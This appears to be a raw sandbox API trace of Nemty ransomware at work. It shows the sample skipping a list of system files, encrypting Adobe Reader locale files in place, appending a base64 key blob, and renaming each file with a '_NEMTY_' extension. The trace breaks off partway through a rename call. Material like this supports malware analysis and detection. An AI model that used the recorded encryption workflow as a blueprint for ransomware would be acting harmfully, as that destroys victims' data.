[0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="...") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="windows") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="rsa") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="NTDETECT.COM") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="ntldr") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="MSDOS.SYS") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="IO.SYS") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="boot.ini") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="boot.ini") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="ntuser.dat") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="desktop.ini") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="CONFIG.SYS") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="RECYCLER") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="bootmgr") returned 1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="programdata") returned -1 [0184.535] lstrcmpiW (lpString1="makeaccessible.SVE", lpString2="appdata") returned 1 [0184.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SVE", lpUsedDefaultChar=0x0) returned 18 [0184.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SVE", lpUsedDefaultChar=0x0) returned 18 [0184.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SVE", lpUsedDefaultChar=0x0) returned 18 [0184.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SVE", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SVE", lpUsedDefaultChar=0x0) returned 18 [0184.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.536] Sleep (dwMilliseconds=0x5) [0184.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a50ef0, dwHighDateTime=0x1d561e8)) [0184.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a50ef0, dwHighDateTime=0x1d561e8)) [0184.546] GetLastError () returned 0x0 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.546] GetLastError () returned 0x0 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.546] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.546] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.546] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.546] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0V0xDuoIfoeFdyfBkeXjb1wvDqj7uTVrZNREt7XzZ+h7kTygvw9bd6TZQcF40dbR\r\nu0vVNpqw3QlHR0Dv4Z+6acyGOoVckeqSIxHyLhMwZzda+RomR8CPHuqzj4Hdf9vd\r\nMaiJI0n7xzOfZlo2rj/0xnVXwMvi4FCw0JjTX0CRMmtlsLNKsqwLI5k3/MdWmcXi\r\nVywnmqH5qxMTfblwlXKkDACkp2l/DBFA5vWg1HoK4JJCC5xtaWgUePGkkCjidZ6O\r\n1AApzGtdYQXx1W8yt/dJqiY5+cgXYj5EQCFx7oAAKr9x8Qlmz5Qu5C6YiQ2D459D\r\nSqCj5F2fgjdp5rwZJW9Klw==\r\n", pcchString=0x653e5dc) returned 1 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.547] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73216) returned 1 [0184.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e00) returned 0x6352c48 [0184.547] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.547] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11e00, lpOverlapped=0x0) returned 1 [0184.553] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.553] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11e00, lpOverlapped=0x0) returned 1 [0184.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.554] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=73216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e00 [0184.554] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.554] CloseHandle (hObject=0x2e8) returned 1 [0184.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0184.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0184.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.554] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\makeaccessible.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\makeaccessible.sve._nemty_kgobjgd_")) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.557] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.SVE", cAlternateFileName="MULTIM~1.SVE")) returned 1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2=".") returned 1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="..") returned 1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="...") returned 1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="windows") returned -1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.557] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="rsa") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="NTDETECT.COM") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="ntldr") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="MSDOS.SYS") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="IO.SYS") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="boot.ini") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="boot.ini") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="ntuser.dat") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="desktop.ini") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="CONFIG.SYS") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="RECYCLER") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="bootmgr") returned 1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="programdata") returned -1 [0184.558] lstrcmpiW (lpString1="Multimedia.SVE", lpString2="appdata") returned 1 [0184.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SVE", lpUsedDefaultChar=0x0) returned 14 [0184.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SVE", lpUsedDefaultChar=0x0) returned 14 [0184.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SVE", lpUsedDefaultChar=0x0) returned 14 [0184.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SVE", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SVE", lpUsedDefaultChar=0x0) returned 14 [0184.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.559] Sleep (dwMilliseconds=0x5) [0184.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a77050, dwHighDateTime=0x1d561e8)) [0184.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a77050, dwHighDateTime=0x1d561e8)) [0184.561] GetLastError () returned 0x0 [0184.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.562] GetLastError () returned 0x0 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.562] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.562] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.562] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.562] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="OXqTos3mDrtPAqd/Gy58bZiR7Ow1ceNFMtqO0v3GgvgEepo57F1aPTvKBcmqsj/Q\r\nJIgPxi7SfjioP2WAMwd4kgtiS3LHcO6KHBFoV6WEXptx6qJRyYszJt4CJJud0QtB\r\n/aXCvnj32HGuGPmuUsBi//LfXaDuG9q1MRpMmKVUmhEJ1YDhaYvw8c131ZleAfIk\r\nUbPBQqdo9KFD/2ig3abswJZUj/ELOpqHSQsZDVohwFCEZo5KNl42TBWOfwzZ5CQR\r\nZYjZuGu9eTJ+8lebEZwQ8p/o3bPF8xb+iKcN34M6RhN2OfU4qsXySM4mzvhamUXz\r\nOJL17gKJgvgqpPKxp5gnFg==\r\n", pcchString=0x653e5dc) returned 1 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Multimedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\multimedia.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.563] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=77824) returned 1 [0184.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13000) returned 0x6352c48 [0184.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.563] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13000, lpOverlapped=0x0) returned 1 [0184.569] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13000, lpOverlapped=0x0) returned 1 [0184.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.569] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=77824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13000 [0184.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.570] CloseHandle (hObject=0x2e8) returned 1 [0184.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.570] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 